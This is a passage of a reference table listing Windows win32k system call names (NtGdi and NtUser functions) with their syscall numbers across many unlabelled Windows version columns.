NtGdiStartPage |     |     |     |  0x10dd  |     |     |  0x1119  |     |  0x1119  |     |  0x1123  |  0x1123  |  0x1123  |     |  0x1122  |  0x1122  |  0x112c  |  0x112c  |  0x112c  |     |  0x112c  |     |  0x112d   
NtGdiStretchBlt |     |     |     |  0x10de  |     |     |  0x111a  |     |  0x111a  |     |  0x1124  |  0x1124  |  0x1124  |     |  0x1123  |  0x1123  |  0x112d  |  0x112d  |  0x112d  |     |  0x112d  |     |  0x112e   
NtGdiStretchDIBitsInternal |     |     |     |  0x10df  |     |     |  0x111b  |     |  0x111b  |     |  0x1125  |  0x1125  |  0x1125  |     |  0x1124  |  0x1124  |  0x112e  |  0x112e  |  0x112e  |     |  0x112e  |     |  0x112f   
NtGdiStrokeAndFillPath |     |     |     |  0x10e0  |     |     |  0x111c  |     |  0x111c  |     |  0x1126  |  0x1126  |  0x1126  |     |  0x1125  |  0x1125  |  0x112f  |  0x112f  |  0x112f  |     |  0x112f  |     |  0x1130   
NtGdiStrokePath |     |     |     |  0x10e1  |     |     |  0x111d  |     |  0x111d  |     |  0x1127  |  0x1127  |  0x1127  |     |  0x1126  |  0x1126  |  0x1130  |  0x1130  |  0x1130  |     |  0x1130  |     |  0x1131   
NtGdiSwapBuffers |     |     |     |  0x10e2  |     |     |  0x111e  |     |  0x111e  |     |  0x1128  |  0x1128  |  0x1128  |     |  0x1127  |  0x1127  |  0x1131  |  0x1131  |  0x1131  |     |  0x1131  |     |  0x1132   
NtGdiTransformPoints |     |     |     |  0x10e3  |     |     |  0x111f  |     |  0x111f  |     |  0x1129  |  0x1129  |  0x1129  |     |  0x1128  |  0x1128  |  0x1132  |  0x1132  |  0x1132  |     |  0x1132  |     |  0x1133   
NtGdiTransparentBlt |     |     |     |     |     |     |  0x1120  |     |  0x1120  |     |  0x112a  |  0x112a  |  0x112a  |     |  0x1129  |  0x1129  |  0x1133  |  0x1133  |  0x1133  |     |  0x1133  |     |  0x1134   
NtGdiUnloadPrinterDriver |     |     |     |     |     |     |  0x1121  |     |  0x1121  |     |  0x112b  |  0x112b  |  0x112b  |     |  0x112a  |  0x112a  |     |     |     |     |     |     |      
NtGdiUnmapMemFont |     |     |     |     |     |     |  0x1122  |     |  0x1122  |     |  0x1299  |  0x1299  |  0x1299  |     |  0x1295  |  0x1295  |  0x12ba  |  0x12ba  |  0x12ba  |     |  0x12ba  |     |  0x12da   
NtGdiUnrealizeObject |     |     |     |  0x10e4  |     |     |  0x1123  |     |  0x1123  |     |  0x112d  |  0x112d  |  0x112d  |     |  0x112c  |  0x112c  |  0x1136  |  0x1136  |  0x1136  |     |  0x1136  |     |  0x1137   
NtGdiUpdateColors |     |     |     |  0x10e5  |     |     |  0x1124  |     |  0x1124  |     |  0x112e  |  0x112e  |  0x112e  |     |  0x112d  |  0x112d  |  0x1137  |  0x1137  |  0x1137  |     |  0x1137  |     |  0x1138   
NtGdiUpdateTransform |     |     |     |  0x10e7  |     |     |  0x127e  |     |  0x127e  |     |  0x1296  |  0x1296  |  0x1296  |     |  0x1292  |  0x1292  |  0x12b7  |  0x12b7  |  0x12b7  |     |  0x12b7  |     |  0x12d7   
NtGdiWidenPath |     |     |     |  0x10e6  |     |     |  0x1125  |     |  0x1125  |     |  0x112f  |  0x112f  |  0x112f  |     |  0x112e  |  0x112e  |  0x1138  |  0x1138  |  0x1138  |     |  0x1138  |     |  0x1139   
NtGdiXFORMOBJ\_bApplyXform |     |     |     |     |     |     |  0x1266  |     |  0x1266  |     |  0x127e  |  0x127e  |  0x127e  |     |  0x127a  |  0x127a  |  0x129f  |  0x129f  |  0x129f  |     |  0x129f  |     |  0x12bf   
NtGdiXFORMOBJ\_iGetXform |     |     |     |     |     |     |  0x1267  |     |  0x1267  |     |  0x127f  |  0x127f  |  0x127f  |     |  0x127b  |  0x127b  |  0x12a0  |  0x12a0  |  0x12a0  |     |  0x12a0  |     |  0x12c0   
NtGdiXLATEOBJ\_cGetPalette |     |     |     |     |     |     |  0x1259  |     |  0x1259  |     |  0x1271  |  0x1271  |  0x1271  |     |  0x126d  |  0x126d  |  0x1292  |  0x1292  |  0x1292  |     |  0x1292  |     |  0x12b2   
NtGdiXLATEOBJ\_hGetColorTransform |     |     |     |     |     |     |  0x125b  |     |  0x125b  |     |  0x1273  |  0x1273  |  0x1273  |     |  0x126f  |  0x126f  |  0x1294  |  0x1294  |  0x1294  |     |  0x1294  |     |  0x12b4   
NtGdiXLATEOBJ\_iXlate |     |     |     |     |     |     |  0x125a  |     |  0x125a  |     |  0x1272  |  0x1272  |  0x1272  |     |  0x126e  |  0x126e  |  0x1293  |  0x1293  |  0x1293  |     |  0x1293  |     |  0x12b3   
NtUserActivateKeyboardLayout |     |     |     |  0x10e8  |     |     |  0x1126  |     |  0x1126  |     |  0x1130  |  0x1130  |  0x1130  |     |  0x112f  |  0x112f  |  0x1139  |  0x1139  |  0x1139  |     |  0x1139  |     |  0x113a   
NtUserAddClipboardFormatListener |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x113a  |  0x113a  |  0x113a  |     |  0x113a  |     |  0x113b   
NtUserAlterWindowStyle |     |     |     |  0x10e9  |     |     |  0x1127  |     |  0x1127  |     |  0x1131  |  0x1131  |  0x1131  |     |  0x1130  |  0x1130  |  0x113b  |  0x113b  |  0x113b  |     |  0x113b  |     |  0x113c   
NtUserAssociateInputContext |     |     |     |     |     |     |  0x1128  |     |  0x1128  |     |  0x1132  |  0x1132  |  0x1132  |     |  0x1131  |  0x1131  |  0x113c  |  0x113c  |  0x113c  |     |  0x113c  |     |  0x113d   
NtUserAttachThreadInput |     |     |     |  0x10ea  |     |     |  0x1129  |     |  0x1129  |     |  0x1133  |  0x1133  |  0x1133  |     |  0x1132  |  0x1132  |  0x113d  |  0x113d  |  0x113d  |     |  0x113d  |     |  0x113e   
NtUserBeginPaint |     |     |     |  0x10eb  |     |     |  0x112a  |     |  0x112a  |     |  0x1134  |  0x1134  |  0x1134  |     |  0x1133  |  0x1133  |  0x113e  |  0x113e  |  0x113e  |     |  0x113e  |     |  0x113f   
NtUserBitBltSysBmp |     |     |     |  0x10ec  |     |     |  0x112b  |     |  0x112b  |     |  0x1135  |  0x1135  |  0x1135  |     |  0x1134  |  0x1134  |  0x113f  |  0x113f  |  0x113f  |     |  0x113f  |     |  0x1140   
NtUserBlockInput |     |     |     |     |     |     |  0x112c  |     |  0x112c  |     |  0x1136  |  0x1136  |  0x1136  |     |  0x1135  |  0x1135  |  0x1140  |  0x1140  |  0x1140  |     |  0x1140  |     |  0x1141   
NtUserBreak |     |     |     |  0x10ed  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtUserBuildHimcList |     |     |     |     |     |     |  0x112d  |     |  0x112d  |     |  0x1137  |  0x1137  |  0x1137  |     |  0x1136  |  0x1136  |  0x1141  |  0x1141  |  0x1141  |     |  0x1141  |     |  0x1142   
NtUserBuildHwndList |     |     |     |  0x10ee  |     |     |  0x112e  |     |  0x112e  |     |  0x1138  |  0x1138  |  0x1138  |     |  0x1137  |  0x1137  |  0x1142  |  0x1142  |  0x1142  |     |  0x1142  |     |  0x1143   
NtUserBuildNameList |     |     |     |  0x10ef  |     |     |  0x112f  |     |  0x112f  |     |  0x1139  |  0x1139  |  0x1139  |     |  0x1138  |  0x1138  |  0x1143  |  0x1143  |  0x1143  |     |  0x1143  |     |  0x1144   
NtUserBuildPropList |     |     |     |  0x10f0  |     |     |  0x1130  |     |  0x1130  |     |  0x113a  |  0x113a  |  0x113a  |     |  0x1139  |  0x1139  |  0x1144  |  0x1144  |  0x1144  |     |  0x1144  |     |  0x1145   
NtUserCalcMenuBar |     |     |     |     |     |     |     |     |     |     |  0x1236  |  0x1236  |  0x1236  |     |  0x1232  |  0x1232  |  0x124e  |  0x124e  |  0x124e  |     |  0x124e  |     |  0x125b   
NtUserCalculatePopupWindowPosition |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x125a   
NtUserCallHwnd |     |     |     |  0x10f1  |     |     |  0x1131  |     |  0x1131  |     |  0x113b  |  0x113b  |  0x113b  |     |  0x113a  |  0x113a  |  0x1145  |  0x1145  |  0x1145  |     |  0x1145  |     |  0x1146   
NtUserCallHwndLock |     |     |     |  0x10f2  |     |     |  0x1132  |     |  0x1132  |     |  0x113c  |  0x113c  |  0x113c  |     |  0x113b  |  0x113b  |  0x1146  |  0x1146  |  0x1146  |     |  0x1146  |     |  0x1147   
NtUserCallHwndOpt |     |     |     |  0x10f3  |     |     |  0x1133  |     |  0x1133  |     |  0x113d  |  0x113d  |  0x113d  |     |  0x113c  |  0x113c  |  0x1147  |  0x1147  |  0x1147  |     |  0x1147  |     |  0x1148   
NtUserCallHwndParam |     |     |     |  0x10f4  |     |     |  0x1134  |     |  0x1134  |     |  0x113e  |  0x113e  |  0x113e  |     |  0x113d  |  0x113d  |  0x1148  |  0x1148  |  0x1148  |     |  0x1148  |     |  0x1149   
NtUserCallHwndParamLock |     |     |     |  0x10f5  |     |     |  0x1135  |     |  0x1135  |     |  0x113f  |  0x113f  |  0x113f  |     |  0x113e  |  0x113e  |  0x1149  |  0x1149  |  0x1149  |     |  0x1149  |     |  0x114a   
NtUserCallMsgFilter |     |     |     |  0x10f6  |     |     |  0x1136  |     |  0x1136  |     |  0x1140  |  0x1140  |  0x1140  |     |  0x113f  |  0x113f  |  0x114a  |  0x114a  |  0x114a  |     |  0x114a  |     |  0x114b   
NtUserCallNextHookEx |     |     |     |     |     |     |  0x1137  |     |  0x1137  |     |  0x1141  |  0x1141  |  0x1141  |     |  0x1140  |  0x1140  |  0x114b  |  0x114b  |  0x114b  |     |  0x114b  |     |  0x114c   
NtUserCallNoParam |     |     |     |  0x10f7  |     |     |  0x1138  |     |  0x1138  |     |  0x1142  |  0x1142  |  0x1142  |     |  0x1141  |  0x1141  |  0x114c  |  0x114c  |  0x114c  |     |  0x114c  |     |  0x114d   
NtUserCallNoParamTranslate |     |     |     |  0x10f8  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtUserCallOneParam |     |     |     |  0x10f9  |     |     |  0x1139  |     |  0x1139  |     |  0x1143  |  0x1143  |  0x1143  |     |  0x1142  |  0x1142  |  0x114d  |  0x114d  |  0x114d  |     |  0x114d  |     |  0x114e   
NtUserCallOneParamTranslate |     |     |     |  0x10fa  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtUserCallTwoParam |     |     |     |  0x10fb  |     |     |  0x113a  |     |  0x113a  |     |  0x1144  |  0x1144  |  0x1144  |     |  0x1143  |  0x1143  |  0x114e  |  0x114e  |  0x114e  |     |  0x114e  |     |  0x114f   
NtUserChangeClipboardChain |     |     |     |  0x10fc  |     |     |  0x113b  |     |  0x113b  |     |  0x1145  |  0x1145  |  0x1145  |     |  0x1144  |  0x1144  |  0x114f  |  0x114f  |  0x114f  |     |  0x114f  |     |  0x1150   
NtUserChangeDisplaySettings |     |     |     |  0x10fd  |     |     |  0x113c  |     |  0x113c  |     |  0x1146  |  0x1146  |  0x1146  |     |  0x1145  |  0x1145  |  0x1150  |  0x1150  |  0x1150  |     |  0x1150  |     |  0x1151   
NtUserChangeWindowMessageFilterEx |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1291   
NtUserCheckAccessForIntegrityLevel |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1151  |  0x1151  |  0x1151  |     |  0x1151  |     |  0x1157   
NtUserCheckDesktopByThreadId |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1152  |  0x1152  |  0x1152  |     |  0x1152  |     |  0x1158   
NtUserCheckImeHotKey |     |     |     |     |     |     |  0x113d  |     |  0x113d  |     |  0x1147  |  0x1147  |  0x1147  |     |  0x1146  |  0x1146  |  0x1154  |  0x1154  |  0x1154  |     |  0x1154  |     |      
NtUserCheckMenuItem |     |     |     |  0x10fe  |     |     |  0x113e  |     |  0x113e  |     |  0x1148  |  0x1148  |  0x1148  |     |  0x1147  |  0x1147  |  0x1155  |  0x1155  |  0x1155  |     |  0x1155  |     |  0x115a   
NtUserCheckMenuRadioItem |     |     |     |  0x10ff  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtUserCheckWindowThreadDesktop |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1153  |  0x1153  |  0x1153  |     |  0x1153  |     |  0x1159   
NtUserChildWindowFromPointEx |     |     |     |  0x1100  |     |     |  0x113f  |     |  0x113f  |     |  0x1149  |  0x1149  |  0x1149  |     |  0x1148  |  0x1148  |  0x1156  |  0x1156  |  0x1156  |     |  0x1156  |     |  0x115b   
NtUserClipCursor |     |     |     |  0x1101  |     |     |  0x1140  |     |  0x1140  |     |  0x114a  |  0x114a  |  0x114a  |     |  0x1149  |  0x1149  |  0x1157  |  0x1157  |  0x1157  |     |  0x1157  |     |  0x115c   
NtUserCloseClipboard |     |     |     |     |     |     |  0x1141  |     |  0x1141  |     |  0x114b  |  0x114b  |  0x114b  |     |  0x114a  |  0x114a  |  0x1158  |  0x1158  |  0x1158  |     |  0x1158  |     |  0x115d   
NtUserCloseDesktop |     |     |     |  0x1102  |     |     |  0x1142  |     |  0x1142  |     |  0x114c  |  0x114c  |  0x114c  |     |  0x114b  |  0x114b  |  0x1159  |  0x1159  |  0x1159  |     |  0x1159  |     |  0x115e   
NtUserCloseWindowStation |     |     |     |  0x1103  |     |     |  0x1143  |     |  0x1143  |     |  0x114d  |  0x114d  |  0x114d  |     |  0x114c  |  0x114c  |  0x115a  |  0x115a  |  0x115a  |     |  0x115a  |     |  0x115f   
NtUserConsoleControl |     |     |     |  0x1104  |     |     |  0x1144  |     |  0x1144  |     |  0x114e  |  0x114e  |  0x114e  |     |  0x114d  |  0x114d  |  0x115b  |  0x115b  |  0x115b  |     |  0x115b  |     |  0x1160   
NtUserConvertMemHandle |     |     |     |  0x1105  |     |     |  0x1145  |     |  0x1145  |     |  0x114f  |  0x114f  |  0x114f  |     |  0x114e  |  0x114e  |  0x115c  |  0x115c  |  0x115c  |     |  0x115c  |     |  0x1161   
NtUserCopyAcceleratorTable |     |     |     |  0x1106  |     |     |  0x1146  |     |  0x1146  |     |  0x1150  |  0x1150  |  0x1150  |     |  0x114f  |  0x114f  |  0x115d  |  0x115d  |  0x115d  |     |  0x115d  |     |  0x1162   
NtUserCountClipboardFormats |     |     |     |  0x1107  |     |     |  0x1147  |     |  0x1147  |     |  0x1151  |  0x1151  |  0x1151  |     |  0x1150  |  0x1150  |  0x115e  |  0x115e  |  0x115e  |     |  0x115e  |     |  0x1163   
NtUserCreateAcceleratorTable |     |     |     |  0x1108  |     |     |  0x1148  |     |  0x1148  |     |  0x1152  |  0x1152  |  0x1152  |     |  0x1151  |  0x1151  |  0x115f  |  0x115f  |  0x115f  |     |  0x115f  |     |  0x1164   
NtUserCreateCaret |     |     |     |  0x1109  |     |     |  0x1149  |     |  0x1149  |     |  0x1153  |  0x1153  |  0x1153  |     |  0x1152  |  0x1152  |  0x1160  |  0x1160  |  0x1160  |     |  0x1160  |     |  0x1165   
NtUserCreateDesktop |     |     |     |  0x110a  |     |     |  0x114a  |     |  0x114a  |     |  0x1154  |  0x1154  |  0x1154  |     |  0x1153  |  0x1153  |     |     |     |     |     |     |      
NtUserCreateDesktopEx |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1161  |  0x1161  |  0x1161  |     |  0x1161  |     |  0x1166   
NtUserCreateInputContext |     |     |     |     |     |     |  0x114b  |     |  0x114b  |     |  0x1155  |  0x1155  |  0x1155  |     |  0x1154  |  0x1154  |  0x1162  |  0x1162  |  0x1162  |     |  0x1162  |     |  0x1167   
NtUserCreateLocalMemHandle |     |     |     |  0x110b  |     |     |  0x114c  |     |  0x114c  |     |  0x1156  |  0x1156  |  0x1156  |     |  0x1155  |  0x1155  |  0x1163  |  0x1163  |  0x1163  |     |  0x1163  |     |  0x1168   
NtUserCreateWindowEx |     |     |     |  0x110c  |     |     |  0x114d  |     |  0x114d  |     |  0x1157  |  0x1157  |  0x1157  |     |  0x1156  |  0x1156  |  0x1164  |  0x1164  |  0x1164  |     |  0x1164  |     |  0x1169   
NtUserCreateWindowStation |     |     |     |  0x110d  |     |     |  0x114e  |     |  0x114e  |     |  0x1158  |  0x1158  |  0x1158  |     |  0x1157  |  0x1157  |  0x1165  |  0x1165  |  0x1165  |     |  0x1165  |     |  0x116a   
NtUserCtxDisplayIOCtl |     |     |     |     |     |     |  0x123e  |     |  0x123e  |     |  0x1256  |  0x1256  |  0x1256  |     |  0x1252  |  0x1252  |  0x126f  |  0x126f  |  0x126f  |     |  0x126f  |     |  0x127b   
NtUserDdeGetQualityOfService |     |     |     |  0x110e  |     |     |  0x114f  |     |  0x114f  |     |  0x1159  |  0x1159  |  0x1159  |     |  0x1158  |  0x1158  |     |     |     |     |     |     |      
NtUserDdeInitialize |     |     |     |  0x110f  |     |     |  0x1150  |     |  0x1150  |     |  0x115a  |  0x115a  |  0x115a  |     |  0x1159  |  0x1159  |  0x1166  |  0x1166  |  0x1166  |     |  0x1166  |     |  0x116b   
NtUserDdeSetQualityOfService |     |     |     |  0x1110  |     |     |  0x1151  |     |  0x1151  |     |  0x115b  |  0x115b  |  0x115b  |     |  0x115a  |  0x115a  |     |     |     |     |     |     |      
NtUserDefSetText |     |     |     |  0x1112  |     |     |  0x1153  |     |  0x1153  |     |  0x115d  |  0x115d  |  0x115d  |     |  0x115c  |  0x115c  |  0x1168  |  0x1168  |  0x1168  |     |  0x1168  |     |  0x116d   
NtUserDeferWindowPos |     |     |     |  0x1111  |     |     |  0x1152  |     |  0x1152  |     |  0x115c  |  0x115c  |  0x115c  |     |  0x115b  |  0x115b  |  0x1167  |  0x1167  |  0x1167  |     |  0x1167  |     |  0x116c   
NtUserDeleteMenu |     |     |     |  0x1113  |     |     |  0x1154  |     |  0x1154  |     |  0x115e  |  0x115e  |  0x115e  |     |  0x115d  |  0x115d  |  0x1169  |  0x1169  |  0x1169  |     |  0x1169  |     |  0x116e   
NtUserDestroyAcceleratorTable |     |     |     |  0x1114  |     |     |  0x1155  |     |  0x1155  |     |  0x115f  |  0x115f  |  0x115f  |     |  0x115e  |  0x115e  |  0x116a  |  0x116a  |  0x116a  |     |  0x116a  |     |  0x116f   
NtUserDestroyCursor |     |     |     |  0x1115  |     |     |  0x1156  |     |  0x1156  |     |  0x1160  |  0x1160  |  0x1160  |     |  0x115f  |  0x115f  |  0x116b  |  0x116b  |  0x116b  |     |  0x116b  |     |  0x1170   
NtUserDestroyInputContext |     |     |     |     |     |     |  0x1157  |     |  0x1157  |     |  0x1161  |  0x1161  |  0x1161  |     |  0x1160  |  0x1160  |  0x116c  |  0x116c  |  0x116c  |     |  0x116c  |     |  0x1171   
NtUserDestroyMenu |     |     |     |  0x1116  |     |     |  0x1158  |     |  0x1158  |     |  0x1162  |  0x1162  |  0x1162  |     |  0x1161  |  0x1161  |  0x116d  |  0x116d  |  0x116d  |     |  0x116d  |     |  0x1172   
NtUserDestroyWindow |     |     |     |  0x1117  |     |     |  0x1159  |     |  0x1159  |     |  0x1163  |  0x1163  |  0x1163  |     |  0x1162  |  0x1162  |  0x116e  |  0x116e  |  0x116e  |     |  0x116e  |     |  0x1173   
NtUserDisableThreadIme |     |     |     |     |     |     |  0x115a  |     |  0x115a  |     |  0x1164  |  0x1164  |  0x1164  |     |  0x1163  |  0x1163  |  0x116f  |  0x116f  |  0x116f  |     |  0x116f  |     |  0x1174   
NtUserDispatchMessage |     |     |     |  0x1118  |     |     |  0x115b  |     |  0x115b  |     |  0x1165  |  0x1165  |  0x1165  |     |  0x1164  |  0x1164  |  0x1170  |  0x1170  |  0x1170  |     |  0x1170  |     |  0x1175   
NtUserDisplayConfigGetDeviceInfo |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1155   
NtUserDisplayConfigSetDeviceInfo |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1156   
NtUserDoSoundConnect |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1171  |  0x1171  |  0x1171  |     |  0x1171  |     |  0x1176   
NtUserDoSoundDisconnect |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1172  |  0x1172  |  0x1172  |     |  0x1172  |     |  0x1177   
NtUserDragDetect |     |     |     |  0x1119  |     |     |  0x115c  |     |  0x115c  |     |  0x1166  |  0x1166  |  0x1166  |     |  0x1165  |  0x1165  |  0x1173  |  0x1173  |  0x1173  |     |  0x1173  |     |  0x1178   
NtUserDragObject |     |     |     |  0x111a  |     |     |  0x115d  |     |  0x115d  |     |  0x1167  |  0x1167  |  0x1167  |     |  0x1166  |  0x1166  |  0x1174  |  0x1174  |  0x1174  |     |  0x1174  |     |  0x1179   
NtUserDrawAnimatedRects |     |     |     |  0x111b  |     |     |  0x115e  |     |  0x115e  |     |  0x1168  |  0x1168  |  0x1168  |     |  0x1167  |  0x1167  |  0x1175  |  0x1175  |  0x1175  |     |  0x1175  |     |  0x117a   
NtUserDrawCaption |     |     |     |  0x111c  |     |     |  0x115f  |     |  0x115f  |     |  0x1169  |  0x1169  |  0x1169  |     |  0x1168  |  0x1168  |  0x1176  |  0x1176  |  0x1176  |     |  0x1176  |     |  0x117b   
NtUserDrawCaptionTemp |     |     |     |  0x111d  |     |     |  0x1160  |     |  0x1160  |     |  0x116a  |  0x116a  |  0x116a  |     |  0x1169  |  0x1169  |  0x1177  |  0x1177  |  0x1177  |     |  0x1177  |     |  0x117c   
NtUserDrawIconEx |     |     |     |  0x111e  |     |     |  0x1161  |     |  0x1161  |     |  0x116b  |  0x116b  |  0x116b  |     |  0x116a  |  0x116a  |  0x1178  |  0x1178  |  0x1178  |     |  0x1178  |     |  0x117d   
NtUserDrawMenuBarTemp |     |     |     |  0x111f  |     |     |  0x1162  |     |  0x1162  |     |  0x116c  |  0x116c  |  0x116c  |     |  0x116b  |  0x116b  |  0x1179  |  0x1179  |  0x1179  |     |  0x1179  |     |  0x117e   
NtUserDwmGetDxRgn |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1276  |  0x1276  |  0x1276  |     |  0x1276  |     |      
NtUserDwmHintDxUpdate |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1275  |  0x1275  |  0x1275  |     |  0x1275  |     |      
NtUserDwmStartRedirection |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1273  |  0x1273  |  0x1273  |     |  0x1273  |     |  0x127f   
NtUserDwmStopRedirection |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1274  |  0x1274  |  0x1274  |     |  0x1274  |     |  0x1280   
NtUserECQueryInputLangChange |     |     |     |  0x1120  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtUserEmptyClipboard |     |     |     |     |     |     |  0x1163  |     |  0x1163  |     |  0x116d  |  0x116d  |  0x116d  |     |  0x116c  |  0x116c  |  0x117a  |  0x117a  |  0x117a  |     |  0x117a  |     |  0x117f   
NtUserEnableMenuItem |     |     |     |  0x1121  |     |     |  0x1164  |     |  0x1164  |     |  0x116e  |  0x116e  |  0x116e  |     |  0x116d  |  0x116d  |  0x117b  |  0x117b  |  0x117b  |     |  0x117b  |     |  0x1180   
NtUserEnableScrollBar |     |     |     |  0x1122  |     |     |  0x1165  |     |  0x1165  |     |  0x116f  |  0x116f  |  0x116f  |     |  0x116e  |  0x116e  |  0x117c  |  0x117c  |  0x117c  |     |  0x117c  |     |  0x1181   
NtUserEndDeferWindowPosEx |     |     |     |  0x1123  |     |     |  0x1166  |     |  0x1166  |     |  0x1170  |  0x1170  |  0x1170  |     |  0x116f  |  0x116f  |  0x117d  |  0x117d  |  0x117d  |     |  0x117d  |     |  0x1182   
NtUserEndMenu |     |     |     |  0x1124  |     |     |  0x1167  |     |  0x1167  |     |  0x1171  |  0x1171  |  0x1171  |     |  0x1170  |  0x1170  |  0x117e  |  0x117e  |  0x117e  |     |  0x117e  |     |  0x1183   
NtUserEndPaint |     |     |     |  0x1125  |     |     |  0x1168  |     |  0x1168  |     |  0x1172  |  0x1172  |  0x1172  |     |  0x1171  |  0x1171  |  0x117f  |  0x117f  |  0x117f  |     |  0x117f  |     |  0x1184   
NtUserEndTouchOperation |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x128f   
NtUserEnumDisplayDevices |     |     |     |  0x1126  |     |     |  0x1169  |     |  0x1169  |     |  0x1173  |  0x1173  |  0x1173  |     |  0x1172  |  0x1172  |  0x1180  |  0x1180  |  0x1180  |     |  0x1180  |     |  0x1185   
NtUserEnumDisplayMonitors |     |     |     |     |     |     |  0x116a  |     |  0x116a  |     |  0x1174  |  0x1174  |  0x1174  |     |  0x1173  |  0x1173  |  0x1181  |  0x1181  |  0x1181  |     |  0x1181  |     |  0x1186   
NtUserEnumDisplaySettings |     |     |     |  0x1127  |     |     |  0x116b  |     |  0x116b  |     |  0x1175  |  0x1175  |  0x1175  |     |  0x1174  |  0x1174  |  0x1182  |  0x1182  |  0x1182  |     |  0x1182  |     |  0x1187   
NtUserEvent |     |     |     |  0x1128  |     |     |  0x116c  |     |  0x116c  |     |  0x1176  |  0x1176  |  0x1176  |     |  0x1175  |  0x1175  |  0x1183  |  0x1183  |  0x1183  |     |  0x1183  |     |  0x1188   
NtUserExcludeUpdateRgn |     |     |     |  0x1129  |     |     |  0x116d  |     |  0x116d  |     |  0x1177  |  0x1177  |  0x1177  |     |  0x1176  |  0x1176  |  0x1184  |  0x1184  |  0x1184  |     |  0x1184  |     |  0x1189   
NtUserFillWindow |     |     |     |  0x112a  |     |     |  0x116e  |     |  0x116e  |     |  0x1178  |  0x1178  |  0x1178  |     |  0x1177  |  0x1177  |  0x1185  |  0x1185  |  0x1185  |     |  0x1185  |     |  0x118a   
NtUserFindExistingCursorIcon |     |     |     |  0x112b  |     |     |  0x116f  |     |  0x116f  |     |  0x1179  |  0x1179  |  0x1179  |     |  0x1178  |  0x1178  |  0x1186  |  0x1186  |  0x1186  |     |  0x1186  |     |  0x118b   
NtUserFindWindowEx |     |     |     |  0x112c  |     |     |  0x1170  |     |  0x1170  |     |  0x117a  |  0x117a  |  0x117a  |     |  0x1179  |  0x1179  |  0x1187  |  0x1187  |  0x1187  |     |  0x1187  |     |  0x118c   
NtUserFlashWindowEx |     |     |     |     |     |     |  0x1171  |     |  0x1171  |     |  0x117b  |  0x117b  |  0x117b  |     |  0x117a  |  0x117a  |  0x1188  |  0x1188  |  0x1188  |     |  0x1188  |     |  0x118d   
NtUserFrostCrashedWindow |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1189  |  0x1189  |  0x1189  |     |  0x1189  |     |  0x118e   
NtUserFullscreenControl |     |     |     |  0x115c  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtUserGetAltTabInfo |     |     |     |     |     |     |  0x1172  |     |  0x1172  |     |  0x117c  |  0x117c  |  0x117c  |     |  0x117b  |  0x117b  |  0x118a  |  0x118a  |  0x118a  |     |  0x118a  |     |  0x118f   
NtUserGetAncestor |     |     |     |  0x115d  |     |     |  0x1173  |     |  0x1173  |     |  0x117d  |  0x117d  |  0x117d  |     |  0x117c  |  0x117c  |  0x118b  |  0x118b  |  0x118b  |     |  0x118b  |     |  0x1190   
NtUserGetAppImeLevel |     |     |     |     |     |     |  0x1174  |     |  0x1174  |     |  0x117e  |  0x117e  |  0x117e  |     |  0x117d  |  0x117d  |  0x118c  |  0x118c  |  0x118c  |     |  0x118c  |     |  0x1191   
NtUserGetAsyncKeyState |     |     |     |  0x115e  |     |     |  0x1175  |     |  0x1175  |     |  0x117f  |  0x117f  |  0x117f  |     |  0x117e  |  0x117e  |  0x118d  |  0x118d  |  0x118d  |     |  0x118d  |     |  0x1192   
NtUserGetAtomName |     |     |     |     |     |     |     |     |     |     |  0x1180  |  0x1180  |  0x1180  |     |  0x117f  |  0x117f  |  0x118e  |  0x118e  |  0x118e  |     |  0x118e  |     |  0x1193   
NtUserGetCPD |     |     |     |  0x116b  |     |     |  0x1183  |     |  0x1183  |     |  0x118e  |  0x118e  |  0x118e  |     |  0x118d  |  0x118d  |  0x119c  |  0x119c  |  0x119c  |     |  0x119c  |     |  0x11a1   
NtUserGetCaretBlinkTime |     |     |     |  0x115f  |     |     |  0x1176  |     |  0x1176  |     |  0x1181  |  0x1181  |  0x1181  |     |  0x1180  |  0x1180  |  0x118f  |  0x118f  |  0x118f  |     |  0x118f  |     |  0x1194   
NtUserGetCaretPos |     |     |     |  0x1160  |     |     |  0x1177  |     |  0x1177  |     |  0x1182  |  0x1182  |  0x1182  |     |  0x1181  |  0x1181  |  0x1190  |  0x1190  |  0x1190  |     |  0x1190  |     |  0x1195   
NtUserGetClassInfo |     |     |     |  0x1161  |     |     |  0x1178  |     |  0x1178  |     |  0x1183  |  0x1183  |  0x1183  |     |     |     |     |     |     |     |     |     |      
NtUserGetClassInfoEx |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1182  |  0x1182  |  0x1191  |  0x1191  |  0x1191  |     |  0x1191  |     |  0x1196   
NtUserGetClassName |     |     |     |  0x1162  |     |     |  0x1179  |     |  0x1179  |     |  0x1184  |  0x1184  |  0x1184  |     |  0x1183  |  0x1183  |  0x1192  |  0x1192  |  0x1192  |     |  0x1192  |     |  0x1197   
